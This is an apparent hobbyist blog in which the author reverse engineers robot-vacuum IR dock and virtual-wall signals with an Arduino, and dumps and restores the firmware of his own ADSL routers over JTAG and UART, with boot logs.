As I already knew that the virtual wall used the exact same IR signal as the Roomba, I thought that it might be likely that the IR codes for the dock had been copied as-is too. The Roomba dock uses three 38KHz modulated IR LEDs; a short range, uni-directional 'force field' on top and two forward projecting beams - called the red buoy and the green buoy. Each of these transmit different but synchronised 8 bit code, that has been carefully chosen so that where the beams overlap the bit streams are logically AND'd together. For example if the bit stream for the red buoy is 11110001 and the green buoy is 11110010, then where the beams overlap (i.e. in the middle) the bit stream would appear as 11110011. This technique cleverly increases the number of zones the robot can detect near the dock.

The IR bit format for the Roomba is well documented, but essentially a one is 3ms on/1ms off and a zero is 1ms on/3ms off - with the bit stream being terminated by a long off (4ms or more). This isn't that far from the simple 1ms on/1ms off arduino code I wrote to emulate the virtual wall, and so I modified the code to produce one of the Roomba dock codes. Testing with the XR showed nothing interesting, so I tried a couple of other Roomba codes but still nothing - at this point I decided I needed to see what the XR's dock was actually doing.

The XR is considered 'production' kit in my house and so any reverse engineering has to be without opening it up (I like to pretend it has some sort of anti-tamper device). An old DTV set top box donated a 38KHz IR sensor which I connected to an arduino loaded with Ken Shirriff's IRrecvDump code. Then I used my phone's camera to locate the IR LEDs.

The XR's dock has four IR LEDs, three forward facing and the uni-directional one on top; it's difficult to get a picture that includes all three forward facing LEDs as they've been deliberately arranged such that all three beams don't overlap. With the IR sensor held up to each LED in turn, this is the raw output from the arduino:

Left:  
  
Raw (16): -31586 2850 -650 2800 -650 2850 -600 2900 -600 2800 -650 800 -2700 750 -2700 800 
Raw (16): -31586 2850 -600 2850 -600 2850 -650 2800 -650 2850 -650 750 -2700 800 -2650 800 
Raw (16): -31586 2850 -600 2800 -700 2800 -650 2850 -650 2850 -600 800 -2650 750 -2750 750 
Raw (16): -31636 2800 -700 2800 -650 2850 -650 2850 -600 2850 -600 750 -2750 750 -2700 800 

Center:

Raw (16): -31586 2850 -600 2850 -650 2800 -650 2850 -600 750 -2750 750 -2700 2850 -650 750 
Raw (16): -31586 2850 -600 2900 -600 2800 -650 2850 -650 750 -2750 750 -2700 2850 -600 800 
Raw (16): -31636 2900 -600 2800 -650 2850 -650 2850 -650 750 -2700 750 -2700 2800 -700 750 
Raw (16): -31636 2850 -600 2850 -650 2850 -600 2850 -650 750 -2700 750 -2750 2850 -600 800

Right:

Raw (16): -31586 2900 -600 2850 -600 2850 -650 2800 -650 800 -2700 2850 -600 800 -2650 800 
Raw (16): -31586 2850 -600 2850 -650 2850 -600 2850 -650 750 -2700 2850 -650 750 -2700 750 
Raw (16): -31636 2850 -650 2850 -650 2800 -650 2850 -600 800 -2700 2800 -650 800 -2700 750 
Raw (16): -31586 2850 -650 2850 -600 2850 -600 2850 -650 750 -2700 2850 -650 750 -2700 800   

Force field:

Raw (16): -31850 2850 -600 2850 -650 2850 -600 2850 -650 750 -2700 750 -2750 750 -2700 2850 
Raw (16): -31850 2850 -650 2850 -600 2850 -650 2850 -600 750 -2750 750 -2700 750 -2750 2800 
Raw (16): -31900 2850 -600 2850 -600 2900 -600 2800 -700 750 -2700 750 -2750 750 -2700 2850 
Raw (16): -31850 2850 -600 2850 -650 2850 -600 2850 -650 750 -2700 750 -2750 700 -2750 2800 
  

These are pulse timings in microseconds; negative numbers are the off time, positive numbers show the on time. The first large off time (~30ms) marks the beginning/end of the bit stream, and then there's an on time of around 3ms - which is what I'd expect to see from a real Roomba dock; however the off time is much shorter than the 1ms of the Roomba. Making the assumption that the XR's IR protocol only differs in the short time being ~0.5ms rather than 1ms - so that one is 3ms on/0.5ms off(long-short) and a zero is 0.5ms on/3ms off(short-long) - the timings decode as:

Left:
Raw (16): -31586 | 2850 -600 | 2800 -700 | 2800 -650 | 2850 -650 | 2850 -600 | 750 -2700 | 750 -2750 | 750 
                 | long-short| long-short| long-short| long-short| long-short| short-long| short-long| short-long
                 | 1         | 1         | 1         | 1         | 1         | 0         | 0         | 0


Center:
Raw (16): -31586 | 2850 -600 | 2850 -650 | 2800 -650 | 2850 -600 | 750 -2750 | 750 -2700 | 2850 -650 | 750 
                 | long-short| long-short| long-short| long-short| short-long| short-long| long-short| short-long
                 | 1         | 1         | 1         | 1         | 0         | 0         | 1         | 0


Right:
Raw (16): -31586 | 2900 -600 | 2850 -600 | 2850 -650 | 2800 -650 | 800 -2700 | 2850 -600 | 800 -2650 | 800 
                 | long-short| long-short| long-short| long-short| short-long| long-short| short-long| short-long
                 | 1         | 1         | 1         | 1         | 0         | 1         | 0         | 0


Force field:
Raw (16): -31850 | 2850 -600 | 2850 -650 | 2850 -600 | 2850 -650 | 750 -2700 | 750 -2750 | 750 -2700 | 2850 
                 | long-short| long-short| long-short| long-short| short-long| short-long| short-long| long-short
                 | 1         | 1         | 1         | 1         | 0         | 0         | 0         | 1

  

Looking at the bit patterns you can see how the only difference is in which bit is set in the last four bits:

Left:        1111 1000
Right:       1111 0100
Center:      1111 0010
Force field: 1111 0001  
  

Putting some quick and dirty code onto the arduino to emulate these codes/timings had the expected effect on the XR - sort of. When the center LED was emulated, as soon as it came into the robot's view, the XR just drove straight forward. Emulating the left LED made the robot turn right; the right LED caused it to turn left. Thinking about how the robot must guide itself in, this seems to make sense but also means the physical layout of the LEDs is important. Expanding the bit patterns out to include the beam overlaps produces the final code table:

Left:           1111 1000
Left/center:    1111 1010
Right:          1111 0100
Right/center:   1111 0110
Center:         1111 0010
Center/FF:      1111 0011
Right/center/FF:1111 0111
Left/center/FF :1111 1011
Force field:    1111 0001  
  
robot vacuum|reverse engineering|
arduino powered robot vacuum virtual wall 8 Feb 2014

We've had a robot vacuum at home for a couple of months and now we've got one for the office at work. The XR at home came with a virtual wall that produces an infrared beam that the vacuum just wont go anywhere near. The Vileda at work didn't come with one (nor a remote or a dock) which would of been handy; there's a couple of areas we'd like to keep it away from.

On the front of the Vileda there's a 360 degree IR sensor that both my XR and the Roomba's have - although the Vileda doesn't come with any accessories that it would need it for (dock, virtual wall) - nor at present does Vileda appear to sell any. Making the assumption that both of these had probably been - for at least some part - reverse engineered from a Roomba, I took the virtual wall from home into work and tested it against the Vileda; it too wouldn't go any where near it :)

I'm not really allowed to open up the the XR (or it's accessories) at home as it's technically "in production", but initial thoughts were that I just needed to be able to detect the beam coming from the virtual wall myself and then re-create it. Before doing that though I thought I'd see if the Roomba virtual wall had been reverse engineered already and see if I could implement that, and if it caused the XR to flee.

After a little searching I found this post that details some of the IR protocol used on the Roomba's - and right at the bottom of the page there is this:

  "The Virtual Walls generate a 1ms ON, 1ms OFF signal continuously.  The 1ms ON is a 38Khz PWM pulse."
  

Excellent. A little more searching and I found this post on the arduino forums; right at the bottom of the code block there's this function:

// this will write an oscillation at 38KHz for a certain time in useconds
void oscillationWrite(int pin, int time) {
 for(int i = 0; i <= time/26; i++) {
   digitalWrite(pin, HIGH);
   delayMicroseconds(13);
   digitalWrite(pin, LOW);
   delayMicroseconds(13);
 }
}
  

So I swiped an IR LED from an old TV remote and after a bit of messing with my phones camera (it doesn't have an IR filter so I could use it to see the infrared) and the blink example program, I wrapped oscillationWrite() up in loop() so that it did a 38KHz pulse every millisecond:

void loop() {
  oscillationWrite(irled, 1000);
  delayMicroseconds(1000);
}
  

I was pretty hopeful that this would work and went to test it with the XR, but it completely ignored it. Assuming one of the timings was off I hooked the scope to the LED pins. The millisecond pulse was a little off but not by a lot, but the 13 microsecond pulses that make up the 38KHz carrier were coming in at 18 microseconds, probably due to the amount of code that's executed by digitalWrite(). Rather than mess around using port manipulation to speed up toggling the pin, I just knocked the delay time down to 8us to compensate.

Testing again with the XR proved successful, with it backing away whenever it got to close to my improvised beam :) for a complete test I trapped the XR between my beam and the virtual wall it came with. My 'wall' is across the bottom of the door next to the olde worlde CD player and the real one is the black object on the floor next to the sofa. Everytime it sees a beam, it backs away. (The bumper is actually at the front - it's just that in the video, the XR spends most of it's time going backwards!)

Although I now had a working solution I couldn't help but think that the hardware PWM could generate the carrier more accurately than rapidly toggling a pin. Yet more searching brought up this this post that suggested a wonderful simple solution:

  "Why not just use the Tone() function?"
  

Swapping out oscillationWrite() for tone() works perfectly and results in this very concise sketch:

int irled = 40;

void setup() {                
  pinMode(irled, OUTPUT);     
}

void loop() {
  tone(irled, 38000, 1);
  delayMicroseconds(1000);
}
  

Hardware-wise, it's nothing special; just an IR LED with it's positive leg connected via a current-limiting resistor to the +5v, and it's negative leg to any pin you like. (Pin 40 for me, using a Mega.)

arduino|robot vacuum|reverse engineering|
dump dg834v4 flash over jtag 18 Jan 2014

I've added a connector to the DG834v4 so I can use the jtag pins to dump the flash, before attempting to install openwrt. If I end up bricking it I should just be able to write the dumped image back again.

The pins are detailed over on the openwrt wiki, but I've labelled them in the image above anyway. I've used urjtag to do the heavy lifting; capture of the session below. The "cable ..." line is for my Bus Blaster, you'll probably need to change it if you use something else.

UrJTAG 0.10 #2039
Copyright (C) 2002, 2003 ETC s.r.o.
Copyright (C) 2007, 2008, 2009 Kolja Waschk and the respective authors

UrJTAG is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
There is absolutely no warranty for UrJTAG.

warning: UrJTAG may damage your hardware!
Type "quit" to exit, "help" for help.

jtag> cable jtagkey vid=0x403 pid=0x6010
Connected to libftdi driver.
jtag> detect
IR length: 5
Chain length: 1
Device Id: 00000110001101001000000101111111 (0x0634817F)
  Manufacturer: Broadcom (0x17F)
  Part(0):      BCM6348 (0x6348)
  Stepping:     V1
  Filename:     /usr/local/share/urjtag/broadcom/bcm6348/bcm6348
jtag> endian big
jtag> initbus ejtag_dma
ImpCode=00000000100000000000100100000100
EJTAG version: <= 2.0
EJTAG Implementation flags: R4k DMA MIPS32
Clear memory protection bit in DCR
Clear Watchdog
Potential flash base address: [0x1fc0000b], [0x0]
Processor successfully switched in debug mode.
jtag> detectflash 0x1fc00000
Query identification string:
	Primary Algorithm Command Set and Control Interface ID Code: 0x0002 (AMD/Fujitsu Standard Command Set)
	Alternate Algorithm Command Set and Control Interface ID Code: 0x0000 (null)
Query system interface information:
	Vcc Logic Supply Minimum Write/Erase or Write voltage: 2700 mV
	Vcc Logic Supply Maximum Write/Erase or Write voltage: 3600 mV
	Vpp [Programming] Supply Minimum Write/Erase voltage: 0 mV
	Vpp [Programming] Supply Maximum Write/Erase voltage: 0 mV
	Typical timeout per single byte/word program: 16 us
	Typical timeout for maximum-size multi-byte program: 0 us
	Typical timeout per individual block erase: 1024 ms
	Typical timeout for full chip erase: 0 ms
	Maximum timeout for byte/word program: 512 us
	Maximum timeout for multi-byte program: 0 us
	Maximum timeout per individual block erase: 16384 ms
	Maximum timeout for chip erase: 0 ms
Device geometry definition:
	Device Size: 4194304 B (4096 KiB, 4 MiB)
	Flash Device Interface Code description: 0x0002 (x8/x16)
	Maximum number of bytes in multi-byte program: 1
	Number of Erase Block Regions within device: 2
	Erase Block Region Information:
		Region 0:
			Erase Block Size: 8192 B (8 KiB)
			Number of Erase Blocks: 8
		Region 1:
			Erase Block Size: 65536 B (64 KiB)
			Number of Erase Blocks: 63
Primary Vendor-Specific Extended Query:
	Major version number: 1
	Minor version number: 1
	Address Sensitive Unlock: Required
	Erase Suspend: Read/write
	Sector Protect: 4 sectors per group
	Sector Temporary Unprotect: Not supported
	Sector Protect/Unprotect Scheme: 29BDS640 mode (Software Command Locking)
	Simultaneous Operation: Not supported
	Burst Mode Type: Supported
	Page Mode Type: Not supported
	ACC (Acceleration) Supply Minimum: 11500 mV
	ACC (Acceleration) Supply Maximum: 12500 mV
	Top/Bottom Sector Flag: Bottom boot device
jtag> readmem 0x1fc00000 0x400000 dg834v4.full.dump.4MB.bin
address: 0x1FC00000
length:  0x00400000
reading:
addr: 0x20000000
Done.
  

I haven't needed to do it yet but to restore the image the command should be:

jtag> flashmem 0x1fc00000 dg834v4.full.dump.4MB.bin
  
jtag|bcm6348|
dg834v4 uart 18 Jan 2014

The DG834v4 is unlike the v1/v2/v3 in that they are TI AR7 based and the v4 is another Broadcom BCM6348 board, clocked at 240MHz and with 16MB RAM. Initially I thought getting to the uart would just be a case of soldering headers, but after reading the openwrt wiki page it became apparent that there were unpopulated resistors on the underside of the board, on the rx/tx lines coming from the CPU (R521 and R522 in the image below).

Using a hot air station, I removed some 1K Ohm resistors from a dead laptop motherboard. Then using a toothpick, I put a little flux on the empty resistor pads to hopefully give the them something to stick to. A little flux on the end of the toothpick made it pretty easy to pick them up and drag them into position too. Placement accuracy is not that critical; once the solder melts the surface tension will pull the tiny resistors into line.

Above, the R521 and R522 pads have been populated - using the hot air station on a low speed and a high temperature. Once the board cooled, my Bus Pirate was connected to the rx, tx and ground pins and configure as a uart bridge.

Here's the stock boot:

CFE version 1.0.37-6.8 for BCM96348 (32bit,SP,BE)
Build Date: Fri Feb  6 03:12:58 UTC 2009 (root@localhost.localdomain)
Copyright (C) 2000-2005 Broadcom Corporation.

Boot Address 0xbfc00000

Initializing Arena.
Initializing Devices.
Parallel flash device: name MX29LV320AB, id 0x22a8, size 4096KB
CPU type 0x29107: 240MHz, Bus: 133MHz, Ref: 26MHz
Total memory: 16777216 bytes (16MB)

Total memory used by CFE:  0x80401000 - 0x80527770 (1206128)
Initialized Data:          0x8041EF50 - 0x80420350 (5120)
BSS Area:                  0x80420350 - 0x80425770 (21536)
Local Heap:                0x80425770 - 0x80525770 (1048576)
Stack Area:                0x80525770 - 0x80527770 (8192)
Text (code) segment:       0x80401000 - 0x8041EF48 (122696)
Boot area (physical):      0x00528000 - 0x00568000
Relocation Factor:         I:00000000 - D:00000000

Board IP address                  : 192.168.0.1
Host IP address                   : 192.168.0.100
Gateway IP address                :
Run from flash/host (f/h)         : f
Default host run file name        : vmlinux
Default host flash file name      : bcm963xx_fs_kernel
Boot delay (0-9 seconds)          : 1
Board Id Name                     : 96348W3
Psi size in KB                    : 24
Number of MAC Addresses (1-32)    : 2
Base MAC Address                  : 00:24:b2:2e:73:10
Ethernet PHY Type                 : Internal
Memory size in MB                 : 16
CMT Thread Number                 : 0

*** Press any key to stop auto run (1 seconds) ***
Auto run second count down: 0
pTag1!=NULL
Code Address: 0x80010000, Entry Address: 0x801f6018
Decompression OK!
Entry at 0x801f6018
Closing network.
Starting program at 0x801f6018
Linux version 2.6.8.1 (root@BUILD_SERVER) (gcc version 3.4.2) #2 Fri Feb 29 17:52:52 CST 2008
Parallel flash device: name MX29LV320AB, id 0x22a8, size 4096KB
Total Flash size: 4096K with 71 sectors
96348W3 prom init
CPU revision is: 00029107
Determined physical RAM map:
 memory: 00fa0000 @ 00000000 (usable)
On node 0 totalpages: 4000
  DMA zone: 4000 pages, LIFO batch:1
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Built 1 zonelists
Kernel command line: root=31:0 ro noinitrd
brcm mips: enabling icache and dcache...
Primary instruction cache 16kB, physically tagged, 2-way, linesize 16 bytes.
Primary data cache 8kB 2-way, linesize 16 bytes.
PID hash table entries: 64 (order 6: 512 bytes)
Using 120.000 MHz high precision timer.
Dentry cache hash table entries: 4096 (order: 2, 16384 bytes)
Inode-cache hash table entries: 2048 (order: 1, 8192 bytes)
Memory: 13468k/16000k available (1639k kernel code, 2512k reserved, 300k data, 80k init, 0k highmem)
Calibrating delay loop... 239.20 BogoMIPS
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Checking for 'wait' instruction...  unavailable.
NET: Registered protocol family 16
MPI: No Card is in the PCMCIA slot
Can't analyze prologue code at 801a8894
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Initializing Cryptographic API
PPP generic driver version 2.4.2
NET: Registered protocol family 24
Using noop io scheduler
bcm963xx_mtd driver v1.0
kernel_addr == 0xbff39100 rootfs_addr == 0xbfc10100
Physically mapped flash: Found 1 x16 devices at 0x0 in 16-bit bank
 Amd/Fujitsu Extended Query Table at 0x0040
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
Creating 6 MTD partitions on "Physically mapped flash":
0x00010100-0x00339100 : "fs"
mtd: partition "fs" doesn't start on an erase block boundary -- force read-only
0x00010000-0x003e0000 : "tag+fs+kernel"
0x00000000-0x00010000 : "bootloader"
0x003f0000-0x00400000 : "nvram"
0x00000000-0x00010000 : "bootloader"
0x003e0000-0x003f0000 : "DPF_file"
brcmboard: brcm_board_init entry
SES: Button GPIO 0x8023 is enabled
SES: Button Interrupt 0x3 is enabled
SES: LED GPIO 0x8023 is enabled
bcm963xx_serial driver v2.0
NET: Registered protocol family 2
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 512 bind 1024)
klips_info:ipsec_init: KLIPS startup, Openswan KLIPS IPsec stack version: 2.4.6rc3
NET: Registered protocol family 15
klips_info:ipsec_alg_init: KLIPS alg v=0.8.1-0 (EALG_MAX=255, AALG_MAX=251)
klips_info:ipsec_alg_init: calling ipsec_alg_static_init()
ipsec_3des_init(alg_type=15 alg_id=3 name=3des): ret=0
KLIPS cryptoapi interface: alg_type=15 alg_id=12 name=aes keyminbits=128 keymaxbits=256, found(0)
KLIPS: lookup for ciphername=twofish: not found
KLIPS: lookup for ciphername=serpent: not found
KLIPS: lookup for ciphername=cast5: not found
KLIPS: lookup for ciphername=blowfish: not found
KLIPS cryptoapi interface: alg_type=15 alg_id=3 name=des3_ede keyminbits=192 keymaxbits=192, found(0)
KLIPS cryptoapi interface: alg_type=15 alg_id=2 name=des keyminbits=64 keymaxbits=64, found(0)
ip esp init: can't add protocol
ip_conntrack version 2.1 (125 buckets, 0 max) - 376 bytes per conntrack
ip_conntrack_h323: init
ip_nat_h323: initialize the module!
ip_tables: (C) 2000-2002 Netfilter core team
Initializing IPsec netlink socket
NET: Registered protocol family 1
NET: Registered protocol family 17
Bridge firewalling registered
NET: Registered protocol family 8
NET: Registered protocol family 20
VFS: Mounted root (squashfs filesystem) readonly.
Mounted devfs on /dev
Freeing unused kernel memory: 80k freed
init started:  BusyBox v1.00 (2007.12.20-13:11+0000) multi-call binary
init started:  BusyBox v1.00 (2007.12.20-13:11+0000) multi-call binary
Starting pid 48, console /dev/tts/0: '/usr/etc/rcS'
Algorithmics/MIPS FPU Emulator v1.5
bcm_enet: module license 'Proprietary' taints kernel.
Broadcom BCM6348B0 Ethernet Network Device v0.3 Jan 11 2008 17:18:52
Config Ethernet Switch Through SPI Slave Select 0
dgasp: kerSysRegisterDyingGaspHandler: eth0 registered
eth0: MAC Address: 00:24:B2:2E:73:10
insmod: cannot insert `/lib/modules/vnet.ko': Success (6): Success
blaadd: blaa_detect entry
adsl: adsl_init entry
netfilter PSD loaded - (c) astaro AG
ipt_random match loaded
device eth0 entered promiscuous mode
ap_name=wlan action=stop
SIOCGIFFLAGS: No such device
interface wl0 does not exist!
/usr/sbin/wlctl: wl driver adapter not found
/usr/sbin/wlctl: wl driver adapter not found
killall: wlctl: no process killed
killall: nas: no process killed
BcmAdsl_Initialize=0xC0080478, g_pFnNotifyCallback=0xC00992A4
AnnexCParam=0x7FFF7E68 AnnexAParam=0x00003987 adsl2=0x00000003
pSdramPHY=0xA0FFFFF8, 0x90001100 0xA0011901
AdslCoreHwReset: AdslOemDataAddr = 0xA0FFA4D4
AnnexCParam=0x7FFF7E68 AnnexAParam=0x00003987 adsl2=0x00000003
dgasp: kerSysRegisterDyingGaspHandler: dsl0 registered
ap_name=(null) action=start
br0: port 1(eth0) entering learning state
br0: topology change detected, propagating
br0: port 1(eth0) entering forwarding state
/bin/echo GMT+0 > /etc/TZ
killall: udhcpd: no process killed
killall: upnpd: no process killed
killall: upnpd: no process killed
killall: dnrd: no process killed
Notice: caching turned off
Warning: Using /etc/hosts will be removed in a future version. Please use only the /etc/dnrd/master file or use -m off.
dnrd -a 192.168.0.1 -m hosts -c off --timeout=0 -b
Setting SSID "recipes4vegans"
Setting SSID "Guest"
Setting country code using abbreviation: "GB"
Receive: good packet 0, bad packet 0
Transmit: good packet 0, bad packet 0

Please press Enter to activate this console.
Starting pid 341, console /dev/tts/0: '/bin/sh'


BusyBox v1.00 (2007.12.20-13:11+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
  

And the bootloader (CFE):

CFE version 1.0.37-6.8 for BCM96348 (32bit,SP,BE)
Build Date: Fri Feb  6 03:12:58 UTC 2009 (root@localhost.localdomain)
Copyright (C) 2000-2005 Broadcom Corporation.

Boot Address 0xbfc00000

Initializing Arena.
Initializing Devices.
Parallel flash device: name MX29LV320AB, id 0x22a8, size 4096KB
CPU type 0x29107: 240MHz, Bus: 133MHz, Ref: 26MHz
Total memory: 16777216 bytes (16MB)

Total memory used by CFE:  0x80401000 - 0x80527770 (1206128)
Initialized Data:          0x8041EF50 - 0x80420350 (5120)
BSS Area:                  0x80420350 - 0x80425770 (21536)
Local Heap:                0x80425770 - 0x80525770 (1048576)
Stack Area:                0x80525770 - 0x80527770 (8192)
Text (code) segment:       0x80401000 - 0x8041EF48 (122696)
Boot area (physical):      0x00528000 - 0x00568000
Relocation Factor:         I:00000000 - D:00000000

Board IP address                  : 192.168.0.1
Host IP address                   : 192.168.0.100
Gateway IP address                :
Run from flash/host (f/h)         : f
Default host run file name        : vmlinux
Default host flash file name      : bcm963xx_fs_kernel
Boot delay (0-9 seconds)          : 1
Board Id Name                     : 96348W3
Psi size in KB                    : 24
Number of MAC Addresses (1-32)    : 2
Base MAC Address                  : 00:24:b2:2e:73:10
Ethernet PHY Type                 : Internal
Memory size in MB                 : 16
CMT Thread Number                 : 0

*** Press any key to stop auto run (1 seconds) ***
Auto run second count down: 1
CFE>
CFE> help
Available commands:

h                   Http Download
d                   Download
a                   Asmod
c                   Change booline parameters
b                   Change board parameters
reset               Reset the board
help                Obtain help for CFE commands

For more information about a command, enter 'help command-name'
*** command status = 0
  
uart|bcm6348|
jtag flashing bcm6348 devices with a bus pirate and openocd 23 Dec 2013

Having never used JTAG before I thought I'd see what I could do with my new Bus Pirate and one of the old ADSL routers I have lying around - ideally reading/writing to the flash. The v1 BT Home Hub is a Broadcom BCM6348-based device with 32MB RAM, that I'd previously added headers for the serial uart and replaced the bootloader with RedBoot and the OS with openwrt. You can see a small breakout with a TTL level converter and an FTDI uart<->USB on the right, and the Bus Pirate on the left in the picture above.

The JTAG pads are on the back of the board, behind the BCM6348; they are documented over on the openwrt wiki. I've soldered a short length of ribbon cable - held in place with a strip of duck tape to ease the mechanical stress on them.

As the v3 Bus Pirate doesn't have enough space for the openocd JTAG module in the stock build, I needed to flash the custom hex image I found here that has it compiled in.

The default install of openocd on Mint 20.04 doesn't support the Bus Pirate either, so it has to be built from source - remembering to add "--enable-buspirate" option:

./configure --enable-buspirate
make
sudo make install
  

Although openocd now detects the Bus Pirate, it needs a config (openocd.cfg) putting together so it knows it's dealing with a MIPS chip and where the flash lives. After much googling and trial and error I came up with this:

source [find interface/buspirate.cfg]
buspirate_port /dev/ttyUSB0

set _CHIPNAME bcm6348

jtag_nsrst_delay 100
jtag_ntrst_delay 100

reset_config trst_and_srst

jtag newtap $_CHIPNAME cpu -irlen 5 -ircapture 0x1 -irmask 0x1f -expected-id 0x0634817f

set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME mips_m4k -endian big -chain-position $_TARGETNAME

# setup working area somewhere in RAM
#$_TARGETNAME configure -work-area-phys 0xa0600000 -work-area-size 0x20000
#$_TARGETNAME configure -work-area-phys 0xa0600000 -work-area-size 0x40000

# serial SPI capable flash
# flash bank <driver> <base> <size> <chip_width> <bus_width>

set _FLASHNAME $_CHIPNAME.flash
#4mb
#flash bank $_FLASHNAME cfi 0x1fc00000 0x00400000 2 2 $_TARGETNAME
#8MB
flash bank $_FLASHNAME cfi 0x1f800000 0x00800000 2 2 $_TARGETNAME
  

I'm sure it's still very incomplete as I can't inspect the state of registers. The important bits: halting the CPU, dumping memory to file and write to flash from a file seem to work though. In the openocd telnet shell - halting:

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
> targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* bcm6348.cpu        mips_m4k   big    bcm6348.cpu        running
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x00000000
> targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* bcm6348.cpu        mips_m4k   big    bcm6348.cpu        halted
  

Dumping the boot loader:

> dump_image bootloader 0x1fc00000 0x00020000
dumped 131072 bytes in 465.079559s (0.275 KiB/s)
  

Restoring the boot loader:

> flash write_image bootloader 0x1fc00000          
No working memory available. Specify -work-area-phys to target.
not enough working area available(requested 140)
Programming at 0x1fc00000, count 0x00020000 bytes remaining
Programming at 0x1fc00100, count 0x0001ff00 bytes remaining
Programming at 0x1fc00200, count 0x0001fe00 bytes remaining

...
  

To final test, I zero'd out the first couple of K of the bootloader and cycled the power; device was now bricked. Nothing on the serial console and two of the LEDs wedged on. I used openocd to halt the CPU and then flash the bootloader back @ 0x1fc00000 - this took a couple of attempts and found the flash worked best when the CPU was halted as soon as possible after power on. When the flash was finished the device booted perfectly into RedBoot and then onto openwrt.

This is another BCM6348 based device, a BT Voyager 220V. Before attempting to install openwrt on it, I added the seven pin header to expose the JTAG pins and dumped the bootloader - just in case. Wasn't needed as it turned out as the CFE lets you flash openwrt images anyway.

jtag|bcm6348|bus pirate|
dg834v1 uart 23 Dec 2013

A very old DG834v1 - kernel build date is: Wed Sep 7 16:50:05 CST 2005. Bus Pirate connected to ground/tx/rx on the JP603 header I've soldered in, on the left in the image above. More information on the openwrt wiki.

Here's the stock boot:

ADAM2 Revision 0.18.01
(C) Copyright 1996-2003 Texas Instruments Inc. All Rights Reserved.
(C) Copyright 2003 Telogy Networks, Inc.
Usage: setmfreq [-d] [-s sys_freq, in MHz] [cpu_freq, in MHz]
Memory optimization Complete!

DGB34 > 
Press any key to abort OS load, or wait 3 seconds for OS to boot...
Launching kernel decompressor.
Starting LZMA Uncompression Algorithm.
Copyright (C) 2003 Texas Instruments Incorporated; Copyright (C) 1999-2003 Igor Pavlov.
Compressed file is LZMA format.
Kernel decompressor was successful ... launching kernel.

LINUX started...
Config serial console: ttyS0,115200
VLYNQ INIT FAILED: Please try cold reboot. 
CPU revision is: 00018448
Primary instruction cache 16kb, linesize 16 bytes (4 ways)
Primary data cache 16kb, linesize 16 bytes (4 ways)
Number of TLB entries 16.
Linux version 2.4.17_mvl21-malta-mips_fp_le (root@Run-P4) 
(gcc version 2.95.3 20010315 (release/MontaVista)) #6 Wed Sep 7 16:50:05 CST 2005
Determined physical RAM map:
 memory: 14000000 @ 00000000 (reserved)
 memory: 00020000 @ 14000000 (ROM data)
 memory: 00fe0000 @ 14020000 (usable)
On node 0 totalpages: 4096
zone(0): 4096 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: 
calculating r4koff... 000b71b0(750000)
CPU frequency 150.00 MHz
Calibrating delay loop... 149.91 BogoMIPS
Freeing Adam2 reserved memory [0x14001000,0x0001f000]
Memory: 14356k/16384k available (1479k kernel code, 2028k reserved, 139k data, 56k init)
Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
Disabling the Out Of Memory Killer
devfs: v1.7 (20011216) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Adam2 environment variables API installed.
pty: 32 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with no serial options enabled
ttyS00 at 0xa8610e00 (irq = 15) is a 16550A
ttyS01 at 0xa8610f00 (irq = 16) is a 16550A
Vlynq CONFIG_MIPS_AVALANCHE_VLYNQ_PORTS=2
Vlynq Device vlynq0 registered with minor no 63 as misc device. Result=0
VLYNQ 0 : init failed
Vlynq Device vlynq1 registered with minor no 62 as misc device. Result=0
VLYNQ 1 : init failed
cpu_freq = 150000000
block: 64 slots per queue, batch=16
Cpmac driver is allocating buffer memory at init time.
Default Asymmetric MTU for eth0 1500
PPP generic driver version 2.4.1
avalanche flash device: 0x400000 at 0x10000000.
Physically mapped flash: Found 1 x16 devices at 0x0 in 16-bit bank
 Amd/Fujitsu Extended Query Table at 0x0040
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
Looking for mtd device :mtd0:
Found a mtd0 image (0xd0000), with size (0x310000).
Looking for mtd device :mtd1:
Found a mtd1 image (0x20000), with size (0xb0000).
Looking for mtd device :mtd2:
Found a mtd2 image (0x0), with size (0x20000).
Looking for mtd device :mtd3:
Found a mtd3 image (0x3e0000), with size (0x10000).
Looking for mtd device :mtd4:
Found a mtd4 image (0x3f0000), with size (0x10000).
Looking for mtd device :mtd5:
Creating 5 MTD partitions on "Physically mapped flash":
0x000d0000-0x003e0000 : "mtd0"
0x00020000-0x000d0000 : "mtd1"
0x00000000-0x00020000 : "mtd2"
0x003e0000-0x003f0000 : "mtd3"
0x003f0000-0x00400000 : "mtd4"
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 1024 bind 1024)
Linux IP multicast router 0.06 plus PIM-SM
ip_tables: (c)2000 Netfilter core team
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Ethernet Bridge 008 for NET4.0
Initializing the WAN Bridge.
Please set the MAC Address for the WAN Bridge.
Set the Environment variable 'wan_br_mac'. 
